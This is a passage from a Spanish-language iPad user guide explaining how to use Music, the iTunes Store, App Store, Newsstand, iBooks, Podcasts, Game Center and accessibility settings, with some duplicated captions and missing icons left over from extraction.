MúsicaCapítulo 19 Música 84 • Consultar todas las pistas del álbum que contiene la canción actual: Pulse . Pulse una pista para reproducirla. Para volver a la pantalla “Ahora suena”, pulse de nuevo. • Asignar puntuaciones a canciones: En la vista de lista de pistas, pulse la hilera de puntos que aparece sobre la lista para asignar el número de estrellas. Puede utilizar las puntuaciones para crear listas de reproducción inteligentes en iTunes. Arrastre para avanzar o retroceder. Arrastre para avanzar o retroceder. Ajuste el volumen. Ajuste el volumen. Atrás Atrás Buscar música. Buscar música. Lista de pistas Lista de pistas Cambie entre la pantalla de reproducción y la de búsqueda. Cambie entre la pantalla de reproducción y la de búsqueda. Crear una lista de reproducción Genius. Crear una lista de reproducción Genius. Reproducción/Pausa Reproducción/Pausa Repetir Repetir Aleatorio Aleatorio AirPlay AirPlay Buscar música (títulos, artistas, álbumes y compositores): Si se encuentra explorando contenidos, introduzca texto en el campo de búsqueda de la esquina inferior derecha de la pantalla. También puede buscar contenido de audio desde la pantalla de inicio. Consulte Cómo buscar en la página 30. Mostrar los controles de audio mientras está en otra app: Haga doble clic en el botón de inicio y, después, desplácese hacia la derecha en la parte inferior de la pantalla. La app de audio actual (pulse para abrirla). La app de audio actual (pulse para abrirla). Mostrar los controles de audio mientras la pantalla está bloqueada: Haga doble clic en el botón de inicio . Reproducir música en unos altavoces AirPlay o en un Apple TV: Pulse . Consulte AirPlay en la página 33.Capítulo 19 Música 85 Podcasts y audiolibros Al iniciar la reproducción, en la pantalla “Ahora suena” aparecen los controles de podcasts y audiolibros. Nota: La app Podcasts está disponible de forma gratuita en la App Store. Consulte Capítulo 24, Podcasts, en la página 99. Si instala la app Podcasts, los contenidos y controles de podcast se eliminarán de Música. Ajustar la velocidad de reproducción del podcast: Pulse . Vuelva a pulsar para cambiar la velocidad. • = Reproducir al doble de velocidad. • = Reproducir a la mitad de velocidad. • = Reproducir a velocidad normal. Repetir los últimos 15 segundos del podcast: Pulse . Obtener más episodios de un podcast: Pulse Podcasts (o pulse Más primero, si Podcasts no es visible) y, a continuación, pulse un podcast para ver los episodios disponibles. Listas de reproducción Crear una lista de reproducción: Pulse Listas y, a continuación, pulse Nuevo, junto a la parte superior de la pantalla. Después, escriba un nombre y guárdelo. Seleccione las canciones y los vídeos que desee incluir y, después, pulse OK. Editar una lista de reproducción: Vaya a Listas, seleccione la lista y, a continuación, pulse Editar. • Añadir más canciones: Pulse “Añadir canciones”. • Eliminar una canción: Pulse . Borrar una canción de la lista de reproducción no la elimina del iPad. • Cambiar el orden de las canciones: Arrastre . Las listas de reproducción nuevas y modificadas se copiarán en su biblioteca de iTunes la próxima vez que sincronice el iPad con su ordenador, o bien a través de iCloud si está suscrito a iTunes Match. Eliminar una lista de reproducción: En Listas, mantenga pulsada la lista de reproducción y, a continuación, pulse . Eliminar una canción del iPad: En Canciones, deslice el dedo sobre la canción y, a continuación, pulse Eliminar. La canción se eliminará del iPad, pero no de su biblioteca de iTunes en el Mac o el PC, ni de iCloud. Cuando iTunes Match está activado, no puede eliminar música. Si necesita espacio, iTunes Match elimina música por usted, comenzando por las canciones más antiguas y menos reproducidas. Genius Una lista Genius es una colección de canciones de su biblioteca que combinan bien entre ellas. Genius es un servicio gratuito, pero requiere disponer de un ID de Apple. Una mezcla Genius es una selección de canciones del mismo estilo musical, que vuelve a crearse a partir de su biblioteca cada vez que la escucha.Capítulo 19 Música 86 Usar Genius en el iPad: Active Genius en iTunes en su ordenador y, a continuación, sincronice el iPad con iTunes. Las mezclas Genius se sincronizan automáticamente, a menos que se gestione la música manualmente. También puede sincronizar las listas Genius. Reproducir una mezcla Genius: Pulse Listas y, a continuación, pulse una de las mezclas Genius de la parte superior de las listas de reproducción. Crear una lista de reproducción Genius: Reproduzca una canción y, a continuación, pulse en la parte superior de la pantalla. La lista de reproducción Genius se añade a sus listas de reproducción, a continuación de las mezclas Genius. Reproducir una lista de reproducción Genius: Pulse la lista de reproducción. • Actualizar la lista de reproducción: Pulse Actualizar. • Guardar la lista de reproducción: Pulse Guardar. La lista de reproducción se guardará con el título de la canción elegida y se marcará con . Reemplazar la lista Genius utilizando otra canción: Reproduzca una canción y, a continuación, pulse . Editar una lista Genius guardada: Pulse la lista y, a continuación, pulse Editar. • Eliminar una canción: Pulse . • Cambiar el orden de las canciones: Arrastre . Eliminar una lista Genius guardada: Mantenga pulsada la lista y, a continuación, pulse . Las listas de reproducción Genius creadas en el iPad se copiarán en su ordenador al sincronizarlo con iTunes. Nota: Cuando una lista de reproducción Genius se sincronice con iTunes, no podrá borrarla directamente del iPad. Utilice iTunes para editar el nombre de la lista de reproducción, detener su sincronización o eliminarla. Siri Puede usar Siri (iPad de tercera generación o posterior) para controlar la reproducción de música. Consulte Capítulo 4, Siri, en la página 39. Utilizar Siri para reproducir música: Mantenga pulsado el botón de inicio . • Reproducir o poner en pausa la música: Diga “reproducir” o “reproducir música”. Para hacer una pausa, diga “pausa,” “detener música” o bien “detener”. También puede decir “canción anterior” o “canción anterior”. • Reproducir un álbum, artista o lista de reproducción: Diga “reproducir” y, a continuación, “álbum” “artista” o “lista” y el nombre. • Reordenar aleatoriamente la lista de reproducción actual: Diga “aleatorio”. • Obtener más información sobre la canción actual: Diga “qué suena”, “quién canta esta canción” o “de quién es esta canción”. • Usar Genius para reproducir canciones similares: Diga “Genius” o “reproducir más canciones como esta”.Capítulo 19 Música 87 iTunes Match iTunes Match almacena su biblioteca musical en iCloud (incluidas las canciones importadas de discos CD) y le permite disfrutar de su colección en el iPad y en otros dispositivos iOS y ordenadores. iTunes Match estará disponible mediante el pago de una suscripción. Nota: iTunes Match no está disponible en todas las áreas. Pueden aplicarse tarifas de datos de telefonía móvil si está activada la opción Ajustes > Música > “Usar datos móviles”. Suscribirse a iTunes Match: En iTunes en su ordenador, vaya a Store > “Activar iTunes Match” y, a continuación, haga clic en el botón Suscribirse. Una vez suscrito, iTunes añadirá su música, listas de reproducción y mezclas Genius a iCloud. Las canciones que coincidan con la música que ya se encuentre en la tienda iTunes Store pasarán a estar automáticamente disponibles en iCloud. Las demás canciones se cargan. Puede descargar y reproducir las canciones coincidentes hasta calidad iTunes Plus (AAC a 256 kbps sin DRM), aunque la calidad del original fuese inferior. Para obtener más información al respecto, consulte www.apple.com/es/icloud/features. Activar iTunes Match: Vaya a Ajustes > Música. La activación de iTunes Match elimina la música sincronizada del iPad y desactiva las mezclas Genius y las listas de reproducción Genius. Nota: Si está activado “Usar datos móviles”, pueden aplicarse tarifas por datos móviles. Las canciones se descargan en el iPad cuando las reproduce. También puede descargar canciones manualmente. Descargar un álbum en el iPad: Mientras navega, pulse Álbumes, pulse un álbum y, a continuación, pulse . Mostrar solo música que se ha descargado desde iCloud: Vaya a Ajustes > Música y, a continuación, desactive “Mostrar toda la música” (solo disponible cuando iTunes Match está activado). Gestionar sus dispositivos utilizando iTunes Match o Descargas automáticas: En iTunes en su ordenador, vaya a Store > Ver mi cuenta. Inicie sesión y, a continuación, haga clic en “Gestionar dispositivos”, en la sección “iTunes en la nube”. la función “Compartir en casa” La función “Compartir en casa” le permite reproducir música, películas y programas de televisión en el iPad desde la biblioteca de iTunes de su Mac o PC. El iPad y el ordenador deben estar conectados a la misma red Wi-Fi. Nota: Esta función requiere iTunes 10.2 o posterior, disponible en www.itunes.com/es/download. No es posible compartir contenidos extra, como folletos digitales y iTunes Extras. Reproducir música desde la biblioteca de iTunes de su ordenador en el iPad: 1 En iTunes, en su ordenador, vaya a Avanzado > Activar Compartir en casa. Inicie sesión y, a continuación, haga clic en “Crear Compartir en casa”. 2 En el iPad, vaya a Ajustes > Música y, a continuación, inicie sesión en “Compartir en casa” con el mismo ID de Apple y la misma contraseña. 3 En Música, pulse Más y, a continuación, pulse Compartido y seleccione la biblioteca de su ordenador. Regresar al contenido del iPad: Pulse Compartido y seleccione “Mi iPad”.Capítulo 19 Música 88 Ajustes de Música Vaya a Ajustes > Música para ajustar las opciones de Música, tales como: • ajuste de volumen (para normalizar el nivel de volumen del contenido de audio) • Ecualizador (EQ) Nota: EQ afecta a todas las salidas de sonido, incluidos el conector de auriculares y AirPlay. Los ajustes de EQ suelen aplicarse únicamente a música reproducida desde la app Música. El ajuste Nocturno, en cambio, se aplica a todas las salidas de audio, tanto vídeo como música. Nocturno comprime el rango dinámico de la salida de audio, reduciendo el volumen de los pasajes más fuertes y aumentando el volumen de los más tranquilos. Podría utilizar este ajuste para escuchar música en un avión o en otro entorno ruidoso, por ejemplo. • agrupación de las canciones por artista del álbum • iTunes Match • la función “Compartir en casa” Ajustar el límite de volumen: Vaya a Ajustes > Música > “Límite de volumen” y, a continuación, ajuste el regulador de volumen. Restringir cambios al límite de volumen: Vaya a Ajustes > General > Restricciones > “Límite de volumen” y, a continuación, pulse “No permitir cambios”.20 89 Utilice iTunes Store para añadir música, programas de televisión y podcasts al iPad. Explorar Explorar Vuelva a descargar los productos comprados. Vuelva a descargar los productos comprados. Cambie categorías. Cambie categorías. Utilice la tienda iTunes Store para: • buscar música, programas de televisión, películas, tonos y muchas otras cosas navegando o buscándolas directamente; • descargar compras anteriores; Nota: Necesita una conexión a Internet y un ID de Apple para utilizar la tienda iTunes Store. Explorar contenido: Pulse una de las categorías. Pulse Géneros para refinar los listados. Para ver más información sobre un ítem, púlselo. Buscar contenidos: Pulse Buscar y, a continuación, pulse el campo de búsqueda, introduzca una o más palabras y pulse Buscar. Ver o escuchar un fragmento de un ítem: Pulse una canción o un vídeo para reproducir una muestra. La tienda iTunes StoreCapítulo 20 La tienda iTunes Store 90 Comprar un ítem: Pulse el precio del ítem (o pulse Gratis) y, a continuación, pulse otra vez para comprarlo. Si ya ha comprado el ítem, aparecerá “Descargar” en lugar del precio y no se le volverá a cobrar. Mientras se descargan ítems, pulse Más y, a continuación, pulse Descargas para ver el progreso de las descargas. Alquilar una película: En algunas zonas, hay determinadas películas disponibles para alquilar. Tiene 30 días para comenzar a ver una película alquilada. Cuando haya comenzado a reproducirla, podrá verla tantas veces como desee en un plazo de 24 horas. Una vez transcurridos estos plazos, la película se eliminará automáticamente. Descargar una compra anterior: Pulse Comprado. Para descargar automáticamente las compras realizadas en otros dispositivos, vaya a Ajustes > iTunes Store y App Store. Canjear una tarjeta o código de regalo: Pulse cualquier categoría (como música), desplácese hasta el final y, a continuación, pulse Canjear. Ver o editar su cuenta: Vaya a Ajustes > “iTunes Store y App Store”, pulse su ID de Apple y, a continuación, pulse “Ver ID de Apple”. Pulse un ítem para editarlo. Para cambiar la contraseña, pulse el campo “ID de Apple”. Activar o desactivar iTunes Match: Vaya a Ajustes > iTunes Store y App Store. iTunes Match es un servicio de suscripción que almacena toda su música en iCloud para que pueda acceder a ella desde cualquier lugar en el que se encuentre. Iniciar sesión con otro ID de Apple: Vaya a Ajustes > “iTunes Store y App Store”, pulse su nombre de cuenta y, a continuación, pulse Desconectarse. La próxima vez que descargue una app, podrá introducir un ID de Apple diferente. Descargar compras utilizando la red de telefonía móvil (modelos Wi-Fi + cellular): Vaya a Ajustes > iTunes Store y App Store > Usar datos móviles. Esta opción también activa la reproducción de canciones desde iTunes Match. Descargar compras y utilizar iTunes Match a través de la red de telefonía móvil puede suponer la aplicación de tarifas por parte de su operador.21 91 Visión general Utilice la tienda App Store para añadir apps al iPad. Busque, compre y descargue apps diseñadas específicamente para el iPad o apps para el iPhone y el iPod touch. Explorar Explorar Vuelva a descargar los productos comprados. Vuelva a descargar los productos comprados. Utilice la tienda App Store para: • buscar apps nuevas gratuitas o de pago navegando o buscándolas directamente, • descargar actualizaciones y compras anteriores, • canjear una tarjeta de regalo o un código de descarga, • recomendar una app a un amigo, • gestionar su cuenta de App Store. Nota: Necesita una conexión a Internet y un ID de Apple para utilizar la tienda App Store. Comprar una app: Pulse el precio de la app (o pulse Gratis) y, a continuación, pulse Comprar. Si ya ha adquirido la app, en lugar del precio aparecerá “Instalar”. No se le cobrará nada por volver a descargarla. Durante la descarga de una app, su icono aparece en la pantalla de inicio con un indicador de estado. La tienda App StoreCapítulo 21 La tienda App Store 92 Descargar una compra anterior: Pulse Actualizar y, a continuación, pulse Comprado. Para descargar automáticamente las nuevas compras realizadas en otros dispositivos, vaya a Ajustes > iTunes Store y App Store. Descargar apps actualizadas: Pulse Actualizar. Pulse una app para leer información sobre la nueva versión y pulse Actualizar para descargarla. O pulse “Actualizar todas” para descargar todas las apps de la lista. Canjear una tarjeta de regalo o un código de descarga: Pulse Destacados, desplácese hasta el final y pulse Canjear. Pasar la voz sobre una app: Busque la app y, a continuación, pulse y seleccione cómo desea compartirla. Ver y editar su cuenta: Vaya a Ajustes > “iTunes Store y App Store”, pulse su ID de Apple y, a continuación, pulse “Ver ID de Apple”. Puede suscribirse a boletines de iTunes y ver la política de privacidad de Apple. Para cambiar la contraseña, pulse el campo “ID de Apple”. Iniciar sesión con otro ID de Apple: Vaya a Ajustes > “iTunes Store y App Store”, pulse su nombre de cuenta y, a continuación, pulse Desconectarse. La próxima vez que descargue una app, podrá introducir un ID de Apple diferente. Crear un nuevo ID de Apple: Vaya a Ajustes > iTunes Store y App Store. A continuación, pulse “Crear nuevo ID de Apple” y siga las instrucciones que aparecen en pantalla. Descargar compras utilizando la red de telefonía móvil (modelos Wi-Fi + cellular): Vaya a Ajustes > iTunes Store y App Store > Usar datos móviles. Descargar compras a través de la red de telefonía móvil puede suponer la aplicación de tarifas por parte de su operador. Las apps de Quiosco solo se actualizan por Wi-Fi. Eliminación de apps Eliminar una app de App Store: Mantenga pulsado su icono en la pantalla de inicio hasta que el icono empiece a moverse y, a continuación, pulse . No podrá eliminar las apps integradas. Cuando termine, pulse el botón de inicio . Al eliminar una app, se eliminarán también todos los datos que contiene. Puede volver a descargar gratuitamente cualquier app que haya adquirido en la tienda App Store. Para obtener información sobre la eliminación de todas sus apps, datos y ajustes, consulte Restablecer en la página 125.22 93 Quiosco organiza sus apps de revistas y periódicos y le informa cuando hay nuevos números listos para su lectura. Busque apps del Quiosco. Busque apps del Quiosco. Mantenga pulsada una publicación para reorganizarla. Mantenga pulsada una publicación para reorganizarla. Quiosco organiza apps de periódicos y revistas en una estantería para proporcionar un fácil acceso a las mismas. Buscar apps de Quiosco: Pulse Quiosco para mostrar la estantería y, a continuación, pulse Store. Cuando adquiera una app de quiosco, se añadirá automáticamente a su estantería. Una vez descargada la app, ábrala para ver sus números y opciones de suscripción. Las suscripciones son compras integradas, que se facturan a su cuenta de ID de Apple. Desactivar la descarga automática de nuevos números: Vaya a Ajustes > Quiosco. Si una app es compatible, Quiosco descargará automáticamente nuevos números cuando esté conectado a una red Wi-Fi. Quiosco23 94 Visión general iBooks es una forma extraordinaria de leer y comprar libros. Descargue la app gratuita iBooks de la tienda App Store y disfrute todo tipo de libros, desde los grandes clásicos hasta las obras más vendidas. Añadir un marcador. Añadir un marcador. Pulse dos veces para activar el zoom. Pulse dos veces para activar el zoom. Ir a otra página. Ir a otra página. iBooks es una forma extraordinaria de disfrutar de libros y archivos PDF. Descargue la app gratuita iBooks de la tienda App Store y acceda a todo tipo de libros, desde los grandes clásicos hasta las obras más vendidas, en la tienda iBookstore integrada. Para descargar la app iBooks y utilizar la iBookstore, necesita una conexión a Internet y un ID de Apple. Visitar la tienda iBookstore: En iBooks, pulse Tienda para: • buscar libros navegando o bien realizando búsquedas específicas; • conseguir una muestra de un libro para ver si le gusta; • leer y escribir opiniones y ver los más vendidos actualmente; • hablarle a un amigo de un libro por correo electrónico. Comprar un libro: Busque uno que quiera, pulse el precio y vuelva a pulsarlo para obtenerlo. iBooksCapítulo 23 iBooks 95 Obtener información sobre un libro: Puede leer un resumen del libro, consultar reseñas y leer una muestra del libro antes de comprarlo. Después de comprar un libro, puede escribir su propia reseña. Descargar una compra anterior: Pulse Comprado. Para descargar una compra mientras navega, pulse Descargar donde normalmente se ve el precio. No se le volverá a cobrar. Para descargar automáticamente los ítems adquiridos en otros dispositivos, vaya a Ajustes > iTunes Store y App Store. Lectura de libros Leer un libro es fácil. Vaya a la estantería y pulse el libro que desee leer. Cada libro presenta una serie de características específicas, basadas en su contenido y formato. Es posible que algunas de las funciones que se describen a continuación no estén disponibles en el libro que está leyendo. Abrir un libro: Pulse el libro que desee leer. Si no lo ve en la estantería, desplácese a la izquierda o a la derecha para ver otras colecciones. • Mostrar los controles: Pulse cerca del centro de la página. • Ampliar una imagen: Pulse dos veces en la imagen. En algunos libros, mantenga pulsado para mostrar una lupa que puede utilizar para ver una imagen. • Ir a una determinada página: Utilice los controles de navegación de páginas de la parte inferior de la pantalla. O bien pulse , introduzca un número de página y, a continuación, pulse el número de página en los resultados de la búsqueda. • Buscar la definición de una palabra: Pulse dos veces una palabra, utilice los puntos de selección para ajustar el fragmento seleccionado y, a continuación, pulse Definir en el menú que aparece. No hay definiciones disponibles para todos los idiomas. • Ver el índice: Pulse . Con algunos libros, también puede realizar un movimiento de pellizco para ver el índice. • Añadir o eliminar un marcador: Pulse . Vuelva a pulsar para eliminar el marcador. No es necesario que añada un marcador de página al cerrar el libro, ya que iBooks recuerda dónde dejó la lectura. Puede tener varios marcadores (para verlos todos, pulse y, a continuación, pulse Marcadores). Añadir notas a un libro: Puede añadir notas a un libro y también resaltar partes del mismo. • Añadir un fragmento: pulse dos veces una palabra, utilice los puntos de selección para ajustar el fragmento seleccionado, pulse Resaltar y seleccione un color o subrayado. • Eliminar un fragmento: Pulse el texto resaltado y, a continuación, pulse . • Añadir una nota: Pulse dos veces una palabra, pulse Resaltar y, a continuación, seleccione en el menú que aparece. • Eliminar una nota: Elimine su texto. Para eliminar la nota y su resaltado, pulse el texto resaltado y, a continuación, pulse . • Ver todas las notas: Pulse y, a continuación, pulse Notas. Pulse para imprimir o enviar por correo electrónico sus notas. Cambiar el aspecto de un libro: Algunos libros le permiten cambiar el tamaño de la letra, el tipo y el color de página. • Cambiar el tipo o el tamaño de la letra: Pulse cerca del centro de una página para mostrar los controles y, a continuación, pulse . Pulse “Tipos de letra” para seleccionar un tipo. Algunos libros solo le permiten cambiar el tamaño de la letra cuando el iPad está en orientación vertical. Capítulo 23 iBooks 96 • Cambiar el color de la página y del texto: Pulse cerca del centro de la página para mostrar los controles, pulse y, a continuación, pulse Tema. Este ajuste se aplica a todos los libros que lo admiten. • Cambiar el brillo: Pulse cerca del centro de una página para mostrar los controles y, a continuación, pulse . Si no ve , pulse primero. • Activar o desactivar la justificación y la división de palabras al final de línea: Vaya a Ajustes > iBooks. Los archivos PDF y algunos libros no se pueden justificar ni aplicar división de palabras al final de línea. Interacción con objetos multimedia Algunos libros presentan elementos interactivos, como películas, diagramas, presentaciones, galerías, objetos 3D y reseñas de capítulos. Para interactuar con un objeto multimedia, púlselo, deslícelo o pellízquelo. Por ejemplo, en una presentación puede pulsar para iniciar su reproducción y, después, pulsar el botón para ver cada pantalla. Para ver un elemento a pantalla completa, realice un movimiento de pellizco con dos dedos hacia fuera. Cuando haya terminado, pellízquelo para cerrarlo. Estudio de notas y listas de vocabulario En los libros compatibles con esta función, puede utilizar la vista de notas para revisar todos los resaltados y notas a través de tarjetas. Visualizar las notas: Pulse . También puede: • Visualizar las notas por capítulo: Pulse un capítulo para ver las notas que contiene. Los globos que aparecen en la lista de capítulos indican el número de notas y resaltados que ha añadido a cada capítulo. Si no le aparece la lista de capítulos, pulse el botón Capítulo. • Realizar una búsqueda en todas las notas: Escriba una palabra o una frase en el campo de búsqueda. Si no le aparece el campo de búsqueda, pulse el botón Capítulos. Pulse un capítulo para ver las notas que contiene. • Revisar las notas y el vocabulario a través de tarjetas de estudio: Pulse “Tarjetas de estudio”. Deslice el dedo para pasar de una tarjeta a otra. Si una tarjeta contiene notas (se indica mediante ), púlsela para darle la vuelta. Pulse para seleccionar los resaltados mostrados o para ordenar las tarjetas de forma aleatoria. Si el capítulo contiene una lista de vocabulario, puede incluirla también en las tarjetas. • Enviar las notas por correo: Pulse . Seleccione las notas que desee compartir y, a continuación, pulse “Enviar por correo”. • Eliminar notas: Pulse . Seleccione las notas que desee eliminar y, a continuación, pulse Eliminar.Capítulo 23 iBooks 97 Organización de la estantería Utilice la estantería para explorar sus libros y documentos PDF. También es posible organizar los ítems en colecciones. Mantenga pulsado un libro para reorganizarlo. Mantenga pulsado un libro para reorganizarlo. Disponible en la iBookstore. La disponibilidad de los títulos puede variar. Disponible en la iBookstore. La disponibilidad de los títulos puede variar. Mover un libro o PDF a una colección: Vaya a la estantería y pulse Editar. Seleccione los ítems que desee mover y, a continuación, pulse Trasladar y seleccione una colección. Ver y gestionar colecciones: Pulse Colecciones. Para editar el nombre de una colección, pulse Editar. No es posible editar ni eliminar las colecciones integradas Libros y PDF. Ordenar la estantería: Pulse y, a continuación, seleccione uno de los métodos de ordenación en la parte inferior de la pantalla. Eliminar un ítem de la estantería: Pulse Editar y, a continuación, pulse los libros o documentos PDF que desee eliminar para que aparezca una marca de verificación. Pulse Eliminar. Cuando acabe, pulse Salir. Si borra un libro que ha comprado, puede descargarlo de nuevo en Compras en la tienda iBookstore. Buscar un libro: Vaya a la estantería. Pulse la barra de estado para desplazarse a la parte superior de la pantalla y, a continuación, pulse . La búsqueda se realiza por el título y el nombre del autor. Sincronización de libros y documentos PDF Utilice iTunes para sincronizar sus libros y documentos PDF entre el iPad y el ordenador, y para comprar libros en la tienda iTunes Store. Cuando el iPad está conectado al ordenador, el panel Libros le permite seleccionar los ítems que desea sincronizar. También puede encontrar en Internet libros en formato ePub sin DRM y archivos PDF que puede añadir a su biblioteca de iTunes. Sincronizar un libro o un archivo PDF con el iPad: En iTunes en su ordenador, seleccione Archivo > Añadir a la biblioteca y seleccione un archivo .pdf, .epub o .ibooks. Conecte el iPad al ordenador y sincronícelo. Añadir un libro o PDF a iBooks sin realizar una sincronización: Si el libro o PDF no es demasiado grande, envíese un correo electrónico a su dirección desde el ordenador. Abra el mensaje de correo electrónico en el iPad y, a continuación, mantenga pulsado el archivo adjunto y seleccione “Abrir en iBooks” en el menú que aparece.Capítulo 23 iBooks 98 Impresión o envío de un PDF por correo electrónico Puede usar iBooks para enviar una copia de un PDF por correo electrónico o para imprimir total o parcialmente el PDF en una impresora AirPrint. Enviar un PDF por correo electrónico: Abra el PDF, pulse y, a continuación, seleccione “Enviar documento”. Imprimir un PDF: Abra el PDF, pulse y, a continuación, seleccione Imprimir. Para obtener más información, consulte Impresión con AirPrint en la página 34. Ajustes de iBooks iBooks guarda las colecciones, los marcadores, las notas y la información sobre la página actual utilizando su ID de Apple para que pueda leer libros sin interrupción en todos sus dispositivos iOS. iBooks guarda información de todos sus libros al abrir y al cerrar la app. También se guarda información de los libros individuales al abrir o cerrar los libros. Activar o desactivar la sincronización Vaya a Ajustes > iBooks. Algunos libros también pueden ofrecer acceso a archivos de audio o vídeo almacenados en Internet. Si el iPad dispone de una conexión de datos de telefonía móvil, el operador puede aplicar tarifas por la reproducción de estos archivos. Activar o desactivar el acceso a archivos de audio y vídeo: Vaya a Ajustes > iBooks > “Audio y vídeo en línea”. Cambiar la dirección en que gira la página al pulsar el margen izquierdo: Vaya a Ajustes > iBooks > Pulsar margen izq.24 99 Vea los podcasts de su biblioteca. Vea los podcasts de su biblioteca. Explore todos los podcasts disponibles. Explore todos los podcasts disponibles. Explore el episodio más popular y vea una previsualización. Explore el episodio más popular y vea una previsualización. Desplácese para ver toda la biblioteca. Desplácese para ver toda la biblioteca. Pulse un podcast para ver los episodios disponibles. Pulse un podcast para ver los episodios disponibles. Elimine un podcast. Elimine un podcast. Vea los controles de reproducción. Vea los controles de reproducción. Obtener podcasts: • Explorar el catálogo completo: Pulse Catálogo y, a continuación, pulse en cualquier podcast que le interese. • Explore los podcast más populares: Pulse “Top Stations” (si no lo ve, pulse primero Biblioteca). Desplácese a la izquierda o la derecha para cambiar la categoría, o arriba o abajo para explorar la categoría actual. Pulse un podcast para previsualizar el último episodio, o pulse para ver una lista de episodios. • Reproducir un episodio en streaming: Pulse en cualquier episodio. • Descargue un episodio de modo que pueda escucharlo cuando no esté conectado a una red Wi-Fi: Pulse el botón de descarga que aparece junto a cualquier episodio. • Suscríbase a un podcast para disponer siempre del último episodio. Si está explorando el catá- logo, pulse un podcast para ver la lista de episodios y, a continuación, pulse Suscribirse. Si ya ha descargado un episodio, pulse el podcast en su biblioteca, pulse y, después, active Suscripción. • Obtener automáticamente el último episodio de un podcast suscrito: Pulse el podcast en su biblioteca, pulse y, después, active “Descarga automática”. Si no ve el interruptor “Descarga automática”, compruebe que la opción Suscripción esté activada. PodcastsCapítulo 24 Podcasts 100 Controlar la reproducción de audio: Desplácese hacia arriba en la ilustración del podcast en reproducción para ver todos los controles de reproducción. Arrastre el cursor de reproducción para ir a otra parte del podcast. Arrastre el cursor de reproducción para ir a otra parte del podcast. Ajuste la velocidad de reproducción. Ajuste la velocidad de reproducción. Pase al episodio siguiente. Pase al episodio siguiente. Vuelva a reproducir los últimos 10 segundos. Vuelva a reproducir los últimos 10 segundos. Avance 30 segundos. Avance 30 segundos. Reproduzca el episodio anterior. Reproduzca el episodio anterior. Ajuste el temporizador de reposo. Ajuste el temporizador de reposo. Comparta este podcast. Comparta este podcast. Desplácese arriba o abajo para mostrar u ocultar los controles. Desplácese arriba o abajo para mostrar u ocultar los controles. Controlar la reproducción de vídeo: Pulse la pantalla mientras ve un podcast de vídeo.25 101 Visión general Game Center le permite jugar a sus juegos favoritos con amigos que posean un iPhone, iPad, iPod touch o Mac con OS X Mountain Lion. Debe estar conectado a Internet para utilizar Game Center. ADVERTENCIA: Para obtener información importante sobre la prevención de lesiones por movimientos repetitivos, consulte Información importante sobre seguridad en la página 133. Busque retos de sus amigos. Busque retos de sus amigos. Declarar su estado, cambiar su foto o cerrar sesión. Declarar su estado, cambiar su foto o cerrar sesión. Invitar a amigos a jugar. Invitar a amigos a jugar. Seleccionar un juego. Seleccionar un juego. Responda a solicitudes de amistad. Responda a solicitudes de amistad. Juegue una partida. Juegue una partida. Vea quién es el mejor. Vea quién es el mejor. Vea una lista de los objetivos del juego. Vea una lista de los objetivos del juego. Busque un oponente. Busque un oponente. Iniciar sesión: Abra Game Center. Si ve su sobrenombre y su foto en la parte superior de la pantalla Yo, significa que ya ha iniciado sesión. Si no lo ve, introduzca su ID de Apple y su contraseña y, a continuación, pulse Conectarse. Puede utilizar el mismo ID de Apple que utiliza para iCloud o para comprar en la tienda o bien pulsar “Crear nueva cuenta” si desea un ID de Apple aparte para jugar. Comprar un juego: Pulse Juegos y, a continuación, pulse un juego recomendado o pulse “Buscar juegos de Game Center”. Jugar: Pulse Juegos, seleccione un juego y, a continuación, pulse Jugar. Game CenterCapítulo 25 Game Center 102 Volver a Game Center después de jugar: Pulse el botón de inicio y, a continuación, pulse Game Center en la pantalla de inicio. Cerrar sesión: Pulse Yo, pulse el banner de su cuenta y, a continuación, pulse Desconectarse. No es necesario que cierre sesión cada vez que salga de Game Center. Cómo jugar con amigos Invitar a amigos a un juego multijugador: Pulse Amigos, seleccione un amigo, seleccione un juego y, a continuación, pulse Jugar. Si el juego permite o requiere jugadores adicionales, seleccione otros jugadores a los que invitar. A continuación, pulse Siguiente. Envíe su invitación y, después, espere a que los otros jugadores la acepten. Cuando todo el mundo esté listo, comience la partida. Si un amigo no está disponible o no responde a su invitación, puede pulsar “Selección automática” para que Game Center busque jugadores por usted, o bien pulsar “Invitar amigo” para intentar invitar a algún otro amigo. Enviar una solicitud de amistad: Pulse Amigos o Solicitudes, pulse “Añadir amigos” y, a continuación, introduzca la dirección de correo electrónico de su amigo o su sobrenombre en Game Center. Para buscar en los contactos, pulse . Para añadir varios amigos en una misma solicitud, pulse Retorno después de cada dirección. Retar a alguien a superarlo: Pulse una de sus puntuaciones o logros y, a continuación, pulse “Retar a amigos”. Consultar los juegos a los que juega un amigo y sus puntuaciones: Pulse Amigos, pulse el nombre de su amigo y, a continuación, pulse Juegos o Puntos. Comprar un juego que tiene un amigo: Pulse Amigos y, a continuación, pulse el nombre de su amigo. Pulse el juego en la lista de juegos de su amigo y, a continuación, pulse el precio en la parte superior de la pantalla. Ver una lista de los amigos de un amigo: Pulse Amigos, pulse el nombre de un amigo y, a continuación, pulse Amigos, justo debajo de su imagen. Eliminar un amigo: Pulse Amigos, pulse un nombre y, a continuación, pulse “Eliminar amigo”. Mantener privada su dirección de correo electrónico: Desactive “Perfil público” en los ajustes de su cuenta Game Center. Consulte “Ajustes de Game Center”, más adelante. Desactivar las solicitudes de amistad o la actividad multijugador: Vaya a Ajustes > General > Restricciones y desactive “Juegos multijugador” o “Añadir amigos”. Si los controles están desactivados, pulse primero “Activar restricciones” (en la parte superior). Informar de comportamientos ofensivos o inapropiados: Pulse Amigos, pulse el nombre de la persona en cuestión y, a continuación, pulse “Informar del problema”. Ajustes de Game Center Algunos ajustes de Game Center están asociados al ID de Apple que utiliza para iniciar sesión. Otros se encuentran en la app Ajustes del iPad. Cambiar los ajustes de Game Center para utilizar su ID de Apple: Inicie sesión con su ID de Apple, pulse Yo, pulse el banner de su cuenta y, a continuación, seleccione “Ver cuenta”. Indicar qué notificaciones desea recibir de Game Center: Vaya a Ajustes > Notificaciones > Game Center. Si Game Center no aparece, active Notificaciones. Cambiar restricciones de Game Center: Vaya a Ajustes > General > Restricciones.26 103 Funciones de accesibilidad El iPad incorpora estas funciones de accesibilidad: • Lector de pantalla VoiceOver • Asistente de voz Siri • Ampliación de zoom • Texto grande • Invertir colores • Leer selección • Leer texto automático • Audio mono y balance • Tonos asignables • Acceso guiado • AssistiveTouch • Soporte para pantallas Braille • Reproducción de contenido con subtítulos Activar funciones de accesibilidad con el iPad: Vaya a Ajustes > General > Accesibilidad. Activar funciones de accesibilidad con iTunes: Conecte el iPad al ordenador y seleccione el iPad en la lista de dispositivos de iTunes. Haga clic en Resumen y, a continuación, haga clic en “Configurar 